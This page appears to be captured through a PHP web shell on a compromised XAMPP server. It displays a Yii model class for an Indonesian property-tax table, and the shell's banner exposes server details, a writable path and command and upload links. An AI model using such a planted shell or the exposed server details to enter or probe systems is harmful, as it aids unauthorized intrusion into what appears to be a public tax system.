|
Server IP : 127.0.0.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586 User : GerbangSIPAD ( 0) PHP Version : 5.6.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/xampp5/htdocs/bhumie/upload/../protected/models/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* This is the model class for table "pbb.dafnop_op_detail".
*
* The followings are the available columns in table 'pbb.dafnop_op_detail':
* @property string $id_dafnop_op
* @property string $kd_propinsi
* @property string $kd_dati2
* @property string $kd_kecamatan
* @property string $kd_kelurahan
* @property string $kd_blok
* @property string $no_urut
* @property string $kd_jns_op
* @property string $thn_pajak_sppt
* @property string $nm_wp_sppt
* @property string $jln_wp_sppt
* @property string $blok_kav_no_wp_sppt
* @property string $rw_wp_sppt
* @property string $rt_wp_sppt
* @property string $kelurahan_wp_sppt
* @property string $kota_wp_sppt
* @property string $luas_bumi_sppt
* @property string $luas_bng_sppt
* @property string $njop_bumi_sppt
* @property string $njop_bng_sppt
* @property string $pbb_terhutang_sppt
* @property string $faktor_pengurang_sppt
* @property string $pbb_yg_harus_dibayar_sppt
* @property string $tgl_terbit_sppt
* @property string $tgl_jatuh_tempo_sppt
* @property string $status_pembayaran_sppt
* @property string $jumlah_sppt_dibayar
* @property string $keterangan
* @property string $tgl_pembentukan
* @property string $nip_pembentuk
* @property integer $createdby
* @property string $createdtime
* @property integer $updatedby
* @property string $updatedtime
* @property string $tgl_pembayaran_sppt
*/
class DafnopOpDetail extends CBhumieRecord
{
/**
* @return string the associated database table name
*/
public function tableName()
{
return 'pbb.dafnop_op_detail';
}
/**
* @return array validation rules for model attributes.
*/
public function rules()
{
// NOTE: you should only define rules for those attributes that
// will receive user inputs.
return array(
array('id_dafnop_op, kd_propinsi, kd_dati2, kd_kecamatan, kd_kelurahan, kd_blok, no_urut, kd_jns_op, thn_pajak_sppt', 'required'),
// array('createdby, updatedby', 'numerical', 'integerOnly'=>true),
array('kd_propinsi, kd_dati2, rw_wp_sppt', 'length', 'max'=>2),
array('kd_kecamatan, kd_kelurahan, kd_blok, rt_wp_sppt', 'length', 'max'=>3),
array('no_urut, thn_pajak_sppt', 'length', 'max'=>4),
array('kd_jns_op, status_pembayaran_sppt', 'length', 'max'=>1),
array('nm_wp_sppt, jln_wp_sppt, kelurahan_wp_sppt, kota_wp_sppt', 'length', 'max'=>30),
array('blok_kav_no_wp_sppt', 'length', 'max'=>15),
array('keterangan', 'length', 'max'=>255),
array('nip_pembentuk', 'length', 'max'=>18),
array('luas_bumi_sppt, luas_bng_sppt, njop_bumi_sppt, njop_bng_sppt, pbb_terhutang_sppt, faktor_pengurang_sppt, pbb_yg_harus_dibayar_sppt, tgl_terbit_sppt, tgl_jatuh_tempo_sppt, jumlah_sppt_dibayar, tgl_pembentukan, tgl_pembayaran_sppt', 'safe'),
// The following rule is used by search().
// @todo Please remove those attributes that should not be searched.
array('id_dafnop_op, kd_propinsi, kd_dati2, kd_kecamatan, kd_kelurahan, kd_blok, no_urut, kd_jns_op, thn_pajak_sppt, nm_wp_sppt, jln_wp_sppt, blok_kav_no_wp_sppt, rw_wp_sppt, rt_wp_sppt, kelurahan_wp_sppt, kota_wp_sppt, luas_bumi_sppt, luas_bng_sppt, njop_bumi_sppt, njop_bng_sppt, pbb_terhutang_sppt, faktor_pengurang_sppt, pbb_yg_harus_dibayar_sppt, tgl_terbit_sppt, tgl_jatuh_tempo_sppt, status_pembayaran_sppt, jumlah_sppt_dibayar, keterangan, tgl_pembentukan, nip_pembentuk, createdby, createdtime, updatedby, updatedtime, tgl_pembayaran_sppt', 'safe', 'on'=>'search'),
);
}
/**
* @return array relational rules.
*/
public function relations()
{
// NOTE: you may need to adjust the relation name and the related
// class name for the relations automatically generated below.
return array(
);
}
/**
* @return array customized attribute labels (name=>label)
*/
public function attributeLabels()
{
return array(
'id_dafnop_op' => 'Id Dafnop Op',
'kd_propinsi' => 'Kd Propinsi',
'kd_dati2' => 'Kd Dati2',
'kd_kecamatan' => 'Kd Kecamatan',
'kd_kelurahan' => 'Kd Kelurahan',
'kd_blok' => 'Kd Blok',
'no_urut' => 'No Urut',
'kd_jns_op' => 'Kd Jns Op',
'thn_pajak_sppt' => 'Thn Pajak Sppt',
'nm_wp_sppt' => 'Nm Wp Sppt',
'jln_wp_sppt' => 'Jln Wp Sppt',
'blok_kav_no_wp_sppt' => 'Blok Kav No Wp Sppt',
'rw_wp_sppt' => 'Rw Wp Sppt',
'rt_wp_sppt' => 'Rt Wp Sppt',
'kelurahan_wp_sppt' => 'Kelurahan Wp Sppt',
'kota_wp_sppt' => 'Kota Wp Sppt',
'luas_bumi_sppt' => 'Luas Bumi Sppt',
'luas_bng_sppt' => 'Luas Bng Sppt',
'njop_bumi_sppt' => 'Njop Bumi Sppt',
'njop_bng_sppt' => 'Njop Bng Sppt',
'pbb_terhutang_sppt' => 'Pbb Terhutang Sppt',
'faktor_pengurang_sppt' => 'Faktor Pengurang Sppt',
'pbb_yg_harus_dibayar_sppt' => 'Pbb Yg Harus Dibayar Sppt',
'tgl_terbit_sppt' => 'Tgl Terbit Sppt',
'tgl_jatuh_tempo_sppt' => 'Tgl Jatuh Tempo Sppt',
'status_pembayaran_sppt' => 'Status Pembayaran Sppt',
'jumlah_sppt_dibayar' => 'Jumlah Sppt Dibayar',
'keterangan' => 'Keterangan',
'tgl_pembentukan' => 'Tgl Pembentukan',
'nip_pembentuk' => 'Nip Pembentuk',
'createdby' => 'Createdby',
'createdtime' => 'Createdtime',
'updatedby' => 'Updatedby',
'updatedtime' => 'Updatedtime',
'tgl_pembayaran_sppt' => 'Tgl Pembayaran Sppt',
);
}
/**
* Retrieves a list of models based on the current search/filter conditions.
*
* Typical usecase:
* - Initialize the model fields with values from filter form.
* - Execute this method to get CActiveDataProvider instance which will filter
* models according to data in model fields.
* - Pass data provider to CGridView, CListView or any similar widget.
*
* @return CActiveDataProvider the data provider that can return the models
* based on the search/filter conditions.
*/
public function search()
{
// @todo Please modify the following code to remove attributes that should not be searched.
$criteria=new CDbCriteria;
$criteria->compare('id_dafnop_op',$this->id_dafnop_op,true);
$criteria->compare('kd_propinsi',$this->kd_propinsi,true);
$criteria->compare('kd_dati2',$this->kd_dati2,true);
$criteria->compare('kd_kecamatan',$this->kd_kecamatan,true);
$criteria->compare('kd_kelurahan',$this->kd_kelurahan,true);
$criteria->compare('kd_blok',$this->kd_blok,true);
$criteria->compare('no_urut',$this->no_urut,true);
$criteria->compare('kd_jns_op',$this->kd_jns_op,true);
$criteria->compare('thn_pajak_sppt',$this->thn_pajak_sppt,true);
$criteria->compare('nm_wp_sppt',$this->nm_wp_sppt,true);
$criteria->compare('jln_wp_sppt',$this->jln_wp_sppt,true);
$criteria->compare('blok_kav_no_wp_sppt',$this->blok_kav_no_wp_sppt,true);
$criteria->compare('rw_wp_sppt',$this->rw_wp_sppt,true);
$criteria->compare('rt_wp_sppt',$this->rt_wp_sppt,true);
$criteria->compare('kelurahan_wp_sppt',$this->kelurahan_wp_sppt,true);
$criteria->compare('kota_wp_sppt',$this->kota_wp_sppt,true);
$criteria->compare('luas_bumi_sppt',$this->luas_bumi_sppt,true);
$criteria->compare('luas_bng_sppt',$this->luas_bng_sppt,true);
$criteria->compare('njop_bumi_sppt',$this->njop_bumi_sppt,true);
$criteria->compare('njop_bng_sppt',$this->njop_bng_sppt,true);
$criteria->compare('pbb_terhutang_sppt',$this->pbb_terhutang_sppt,true);
$criteria->compare('faktor_pengurang_sppt',$this->faktor_pengurang_sppt,true);
$criteria->compare('pbb_yg_harus_dibayar_sppt',$this->pbb_yg_harus_dibayar_sppt,true);
$criteria->compare('tgl_terbit_sppt',$this->tgl_terbit_sppt,true);
$criteria->compare('tgl_jatuh_tempo_sppt',$this->tgl_jatuh_tempo_sppt,true);
$criteria->compare('status_pembayaran_sppt',$this->status_pembayaran_sppt,true);
$criteria->compare('jumlah_sppt_dibayar',$this->jumlah_sppt_dibayar,true);
$criteria->compare('keterangan',$this->keterangan,true);
$criteria->compare('tgl_pembentukan',$this->tgl_pembentukan,true);
$criteria->compare('nip_pembentuk',$this->nip_pembentuk,true);
return new CActiveDataProvider($this, array(
'criteria'=>$criteria,
));
}
/**
* Returns the static model of the specified AR class.
* Please note that you should have this exact method in all your CActiveRecord descendants!
* @param string $className active record class name.
* @return DafnopOpDetail the static model class
*/
public static function model($className=__CLASS__)
{
return parent::model($className);
}
}